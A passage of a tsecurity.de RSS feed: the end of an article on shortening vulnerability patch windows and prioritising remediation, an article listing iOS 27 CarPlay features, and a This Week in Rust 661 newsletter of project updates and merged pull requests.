<p class="wp-block-paragraph">AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.</p>



<p class="wp-block-paragraph">However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.</p>



<p class="wp-block-paragraph">Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.</p>



<p class="wp-block-paragraph">“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”</p>



<h2 class="wp-block-heading">Holistic remediation</h2>



<p class="wp-block-paragraph">Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">Verizon’s Data Breach Investigation Report</a>, published earlier this year, found that the median time to patch had actually increased to 43 days.</p>



<p class="wp-block-paragraph">Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.</p>



<p class="wp-block-paragraph">Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.</p>



<p class="wp-block-paragraph">“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”</p>



<p class="wp-block-paragraph">CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.</p>



<p class="wp-block-paragraph">Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.</p>



<p class="wp-block-paragraph">Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.</p>



<p class="wp-block-paragraph">Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[iOS 27 CarPlay: Every New Feature Coming This Fall]]></title>
<description><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall i...]]></description>
<link>https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688187/ios-mac-os/ios-27-carplay-every-new-feature-coming-this-fall/</guid>
<pubDate>Thu, 23 Jul 2026 08:57:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is bringing several useful upgrades to CarPlay with iOS 27, making the in-car experience smarter, more interactive, and easier to use. While this is not the biggest CarPlay update ever released, it introduces meaningful improvements across Siri, media playback, video apps, and the overall interface.



The biggest highlight is Siri AI, which finally gives CarPlay a more capable voice assistant. Alongside that, Apple has expanded video support, refreshed the design, and added quality-of-life improvements for media controls. Most of these features will arrive when iOS 27 launches publicly this fall, although some will depend on whether automakers enable support in their vehicles.



FeatureWhat's NewAvailabilitySiri AISmarter conversations, context memory, synced historyAll supported CarPlay usersVideo AppsNative video browsing and playback appsSupported vehicles onlyNew WallpapersFresh wallpapers matching iOS 27 designAll usersLiquid Glass IconsUpdated app icons across CarPlayAll usersMiniPlayerAlbum artwork and playback controlsSupported media appsAudio ScrubbingDrag through songs and podcastsSupported media apps



Siri AI Makes CarPlay Much Smarter







The biggest improvement in iOS 27 is the arrival of Siri AI inside CarPlay. Apple has redesigned Siri with a cleaner interface that appears as a glowing orb at the bottom of the screen. The design is simpler than previous Apple Intelligence versions while remaining easy to recognize during driving.



More importantly, Siri now understands natural conversations much better. Instead of responding to one question at a time, it remembers the context of your conversation, allowing follow-up questions without repeating the original request. This makes navigation, messaging, and general information requests feel much more natural.



Siri AI also answers broader knowledge questions in a way that feels similar to modern AI assistants. Whether you ask about travel plans, nearby places, or general information, the responses are more detailed and conversational than before.



Siri Conversation History Sync



Apple has also introduced conversation syncing between CarPlay and the new Siri app on iPhone.



After using Siri in your car, you can open the Siri app on your iPhone and review previous conversations. Requests made through CarPlay are clearly marked with a small car icon, making it easy to continue a conversation after leaving your vehicle.



Native Video Apps Come to CarPlay







Apple first introduced video playback in cars through AirPlay, but iOS 27 expands the experience much further.



Developers can now build dedicated CarPlay video apps that allow users to browse their content directly from the vehicle's display instead of relying entirely on the iPhone interface.



This means supported streaming services can provide a complete CarPlay experience while the vehicle is parked.



Important limitations




Videos only play while the vehicle is stationary.



Playback stops when driving begins and switches to audio if supported.



Vehicle manufacturers must enable this feature.



Older vehicles may never receive support. citeturn0search1turn0search4




Refreshed CarPlay Design



Apple has updated the visual appearance of CarPlay to match the rest of iOS 27.



Users receive a new collection of wallpapers inspired by the latest system design. The updated backgrounds closely match the look found across iOS 27 and macOS Golden Gate.



CarPlay app icons also adopt Apple's latest Liquid Glass styling, creating a more modern appearance while keeping familiar layouts intact.



Better Media Playback Controls



Media playback receives several practical improvements that users have requested for years.



New MiniPlayer



Media applications now display a MiniPlayer in the upper-right corner of the interface.



Instead of showing a simple waveform icon, the MiniPlayer includes:




Album artwork



Play and pause controls



Quick access to currently playing content




This allows users to keep playback controls visible while browsing music or podcasts.



Audio Scrubbing Finally Arrives



One of the most welcome additions is audio scrubbing.



Users can now drag the playback progress bar directly from the Now Playing screen to move forward or backward through songs, podcasts, and supported audio content. Apple has also enlarged the progress indicator, making it easier to use on a vehicle's touchscreen.



This small feature significantly improves everyday usability, especially for podcasts and long playlists.



Compatibility



The new CarPlay features require:



RequirementStatusiPhone running iOS 27RequiredCompatible CarPlay vehicleRequiredNative video appsRequires automaker supportSiri AIAvailable on supported iPhones with iOS 27



Wrap Up



CarPlay in iOS 27 focuses on practical improvements instead of introducing an entirely new interface. Siri AI is the standout addition thanks to its stronger conversational abilities and conversation history syncing, while native video apps open new possibilities for entertainment when parked.



Meanwhile, smaller upgrades such as the MiniPlayer, audio scrubbing, refreshed wallpapers, and updated icons make the overall experience feel more polished. Although some features depend on automaker support, iOS 27 delivers one of the most useful CarPlay updates Apple has released in recent years.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Week In Rust: This Week in Rust 661]]></title>
<description><![CDATA[Hello and welcome to another issue of This Week in Rust!
Rust is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
@thisweekinrust.bsky.social on Bluesky or
@ThisWeekinRu...]]></description>
<link>https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688059/tools/this-week-in-rust-this-week-in-rust-661/</guid>
<pubDate>Thu, 23 Jul 2026 07:18:12 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Hello and welcome to another issue of <em>This Week in Rust</em>!
<a href="https://www.rust-lang.org/">Rust</a> is a programming language empowering everyone to build reliable and efficient software.
This is a weekly summary of its progress and community.
Want something mentioned? Tag us at
<a href="https://bsky.app/profile/thisweekinrust.bsky.social">@thisweekinrust.bsky.social</a> on Bluesky or
<a href="https://mastodon.social/@thisweekinrust">@ThisWeekinRust</a> on mastodon.social, or
<a href="https://github.com/rust-lang/this-week-in-rust">send us a pull request</a>.
Want to get involved? <a href="https://github.com/rust-lang/rust/blob/main/CONTRIBUTING.md">We love contributions</a>.</p>
<p><em>This Week in Rust</em> is openly developed <a href="https://github.com/rust-lang/this-week-in-rust">on GitHub</a> and archives can be viewed at <a href="https://this-week-in-rust.org/">this-week-in-rust.org</a>.
If you find any errors in this week's issue, <a href="https://github.com/rust-lang/this-week-in-rust/pulls">please submit a PR</a>.</p>
<p>Want TWIR in your inbox? <a href="https://this-week-in-rust.us11.list-manage.com/subscribe?u=fd84c1c757e02889a9b08d289&amp;id=0ed8b72485">Subscribe here</a>.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-rust-community">Updates from Rust Community</a></h4>


<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#official">Official</a></h5>
<ul>
<li><a href="https://blog.rust-lang.org/2026/07/16/Rust-1.97.1/">Announcing Rust 1.97.1</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#newsletters">Newsletters</a></h5>
<ul>
<li><a href="https://www.theembeddedrustacean.com/p/the-embedded-rustacean-issue-76">The Embedded Rustacean Issue #76</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#projecttooling-updates">Project/Tooling Updates</a></h5>
<ul>
<li><a href="https://tokio.rs/blog/2026-07-22-announcing-topcoat">Announcing Topcoat: a framework for building full-stack reactive web apps with Rust</a></li>
<li><a href="https://github.com/dtolnay/syn/releases/tag/3.0.0">Syn 3.0.0</a></li>
<li><a href="https://blog.jetbrains.com/rust/2026/07/22/whats-new-in-rustrover-2026-2/">What’s New in RustRover 2026.2</a></li>
<li><a href="https://github.com/kunobi-ninja/kobe/releases/tag/v0.35.0">kobe 0.35.0: readiness gates and cert recycling</a></li>
<li><a href="https://github.com/Eoin-McMahon/comhad/releases/tag/v0.1.0">Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3</a></li>
<li><a href="https://github.com/bigduu/Nova/releases/tag/v0.2.1">Nova v0.2.1: computer-use MCP server</a></li>
<li><a href="https://github.com/rust-windowing/winit/pull/4571">winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs</a></li>
<li><a href="https://github.com/singhpratech/crimson-crab/releases/tag/v0.1.0">crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)</a></li>
<li><a href="https://singhpratech.github.io/ferrovec/">ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search</a></li>
<li><a href="https://github.com/ordokr/ordofp/releases/tag/v0.1.0">OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)</a></li>
<li><a href="https://freyaui.dev/posts/0.4">Freya 0.4</a></li>
<li><a href="https://dev.to/nabsei/buildline-merging-cargo-and-ninjas-build-profiling-into-one-timeline-2373">buildline: merging cargo and ninja's build profiling into one timeline</a></li>
<li><a href="https://richer-richard.github.io/cochlea/determinism.html#030-additions-2026-07-22">cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine</a></li>
<li><a href="https://flodl.dev/blog/then-the-cpu-died">flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone</a></li>
<li><a href="https://hongnoul.github.io/hwatu/">hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn</a></li>
<li><a href="https://github.com/kunobi-ninja/kache/releases/tag/v0.11.0">kache 0.11.0: broader compiler coverage and libc-aware keys</a></li>
<li><a href="https://mladedav.github.io/blog/blog/tracing-reload/"><code>tracing-reload</code> - reload layer without panics</a></li>
<li><a href="https://www.opentypeless.com/en/blog/introducing-talkmore">Introducing OpenTypeless: Voice Input That Actually Works</a></li>
<li><a href="https://dev.to/booyaka101/reading-a-rust-crates-capabilities-out-of-its-compiled-symbols-58pb">Reading a Rust crate's capabilities out of its compiled symbols</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#observationsthoughts">Observations/Thoughts</a></h5>
<ul>
<li><a href="https://smallcultfollowing.com/babysteps/blog/2026/07/15/battery-packs/">Battery packs: Let's talk about crates, baby</a></li>
<li><a href="https://blog.yoshuawuyts.com/capture-clauses-as-effects">Capture Clauses as Effects</a></li>
<li><a href="https://corrode.dev/blog/hardening-rust/">Hardening Rust Code For Production</a></li>
<li><a href="https://pranitha.dev/posts/tokio-gives-progress-not-ordering/">Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks</a></li>
<li><a href="https://kerkour.com/rust-service-hardening-and-production-checklist">Rust service hardening and production checklist</a></li>
<li>[audio] <a href="https://corrode.dev/podcast/s06e08-rust-foundation/">The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=bAINppA0BSU">Jon Gjengset: Open Source Maintenance 2026-07-18</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=lUoQ3uGSQA0">Rust Release Changelog - 1.97.0</a></li>
<li>[video] <a href="https://www.youtube.com/live/Doqwh1b4QyA">Livestream: Rust in Ubuntu</a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-walkthroughs">Rust Walkthroughs</a></h5>
<ul>
<li><a href="https://kriyanative.com/blog/13-chain-breaks/">I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.</a></li>
<li><a href="https://dev.to/scripthpp/two-bugs-i-only-found-by-running-my-rust-sync-daemon-against-real-infrastructure-4278">Two tricky bugs in a Rust daemon</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=u91eX3J6lPU">Backend Concepts in Rust: Securely Managing App Secrets</a></li>
<li>[video] <a href="https://www.youtube.com/watch?v=tIrSvJFRxAg">Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#crate-of-the-week">Crate of the Week</a></h4>
<p>This week's crate is <a href="https://github.com/medialab/xan">xan</a>, a TUI toolkit to work with CSV files.</p>
<p>Thanks to <a href="https://users.rust-lang.org/t/crate-of-the-week/2704/1630">Simeon H.K. Fitch</a> for the suggestion!</p>
<p><a href="https://users.rust-lang.org/t/crate-of-the-week/2704">Please submit your suggestions and votes for next week</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#calls-for-testing">Calls for Testing</a></h4>
<p>An important step for RFC implementation is for people to experiment with the
implementation and give feedback, especially before stabilization.</p>
<p>If you are a feature implementer and would like your RFC to appear in this list, add a
<code>call-for-testing</code> label to your RFC along with a comment providing testing instructions and/or
guidance on which aspect(s) of the feature need testing.</p>
<p><em>No calls for testing were issued this week by
<a href="https://github.com/rust-lang/rust/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rust</a>,
<a href="https://github.com/rust-lang/cargo/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Cargo</a>,
<a href="https://github.com/rust-lang/rustup/issues?q=state%3Aopen%20label%3Acall-for-testing%20state%3Aopen">Rustup</a> or
<a href="https://github.com/rust-lang/rfcs/issues?q=label%3Acall-for-testing%20state%3Aopen">Rust language RFCs</a>.</em></p>
<p><a href="https://github.com/rust-lang/this-week-in-rust/issues">Let us know</a> if you would like your feature to be tracked as a part of this list.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#call-for-participation-projects-and-speakers">Call for Participation; projects and speakers</a></h4>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-projects">CFP - Projects</a></h5>
<p>Always wanted to contribute to open-source projects but did not know where to start?
Every week we highlight some tasks from the Rust community for you to pick and get started!</p>
<p>Some of these tasks may also have mentors available, visit the task page for more information.</p>



<ul>
<li><em>No Calls for participation were submitted this week.</em></li>
</ul>
<p>If you are a Rust project owner and are looking for contributors, please submit tasks <a href="https://github.com/rust-lang/this-week-in-rust?tab=readme-ov-file#call-for-participation-guidelines">here</a> or through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cfp-events">CFP - Events</a></h5>
<p>Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.</p>


<ul>
<li><em>No Calls for papers or presentations were submitted this week.</em></li>
</ul>
<p>If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a <a href="https://github.com/rust-lang/this-week-in-rust">PR to TWiR</a> or by reaching out on <a href="https://bsky.app/profile/thisweekinrust.bsky.social">Bluesky</a> or <a href="https://mastodon.social/@thisweekinrust">Mastodon</a>!</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#updates-from-the-rust-project">Updates from the Rust Project</a></h4>
<p>576 pull requests were <a href="https://github.com/search?q=is%3Apr+org%3Arust-lang+is%3Amerged+merged%3A2026-07-14..2026-07-21">merged in the last week</a></p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler">Compiler</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159256">account for async closures when pointing at lifetime in return type</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157824">comptime inherent impls</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159115"><code>dep_graph</code>: deduplicate task reads with an epoch-filtered index recorder</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158976">eagerly check for ambiguity in macro parsing</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158608">implement <code>#[diagnostic::opaque]</code> attribute to hide backtraces of macros</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158720">shrink <code>ast::Expr64</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#library">Library</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159467">add explicit <code>Iterator::count</code> impl for <code>str::EncodeUtf16</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159296">implement <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159528">implement <code>const_binary_search</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159302">implement <code>Debug</code> helpers via <code>Cell</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/156220">implement <code>VecDeque::truncate_to_range</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158061">make <code>pin!()</code> more foolproof</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158546">move <code>std::io::BufRead</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158544">move <code>std::io::Read</code> to <code>alloc::io</code></a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158545">move <code>std::io::read_to_string</code> to <code>alloc::io</code></a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#cargo">Cargo</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159149">use PGO for Cargo</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17238"><code>timings</code>: only report units the job queue actually ran</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17236">do not include proc-macro deps in rustc search path args</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17216">include SBOM outputs in fingerprints</a></li>
<li><a href="https://github.com/rust-lang/cargo/pull/17226">lazily initialize git2 fetch transports</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rustdoc">Rustdoc</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust/pull/159194">fix auto trait normalization env</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/159091">use PGO for rustdoc</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#clippy">Clippy</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16855">add <code>block_scrutinee</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17415">avoid invalid <code>ref_as_ptr</code> suggestions in const/static initializers</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16800">detect <code>== 0</code> on unsigned types as a <code>manual_clamp</code> lower bound</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17405">fix <code>if_not_else</code> linting on macro expanded conditions</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17383">fix <code>needless_collect</code> suggests a suggestion that cannot be typed</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17385"><code>non_zero_suggestions</code>: don't lint signed integer div/rem as NonZero</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17377"><code>manual_filter</code>: don't eat comments in the <code>and_then</code> suggestion</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17369">require the use of <code>as _</code> for indirectly used traits in clippy sources</a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/17362">rewrite <code>min_ident_chars</code></a></li>
<li><a href="https://github.com/rust-lang/rust-clippy/pull/16633">use <code>#[must_use]</code> determination from the compiler</a></li>
</ul>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-analyzer">Rust-Analyzer</a></h6>
<ul>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22634">avoid index panic when flycheck list is empty</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22811">add capture hints to coroutines</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22813">add handler for E0572</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22483">do not assume array destructuring assignments with rest pattern are constant-sized</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22852">eagerly normalize <code>.await</code>'s <code>IntoFuture::Output</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22791">enable auto trait inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22792">extract variable preserving whitespace from macro input</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22832">fix coroutines not recording binding owners correctly</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22759">fix crashes in assists due to <code>.unwrap()</code> calls in SyntaxFactory</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22810">fix <code>hir</code> crate leaking bound variables from skipped binders</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22855">fix <code>InferenceContext:identity_args</code> using the wrong DefId</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22849">fix syntax bridge panic when spilting float</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22857">handle <code>enum</code> variants in next-solver <code>generics</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22818">implement lowering of HRTB</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22789">invalid <code>pattern_matching_variant</code> lowering due to recovery</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22867">merge <code>WherePredicate::ForLifetimes</code> into <code>WherePredicate::TypeBound</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22804">only write anon const ty in parent's inference result if it doesn't have its own inference</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22822">panic with a function item and a proc macro item having a duplicate name</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22827">parser to error on macro type bound</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22865">spawn proc-macro servers on requests clearing the client cache</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22782">use quote! inside <code>ast::make::expr_call()</code></a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22793">use <code>Result</code> for the lsp-server <code>Response</code> payload type</a></li>
<li><a href="https://github.com/rust-lang/rust-analyzer/pull/22861">record expressions in types in <code>ExprScope</code></a></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
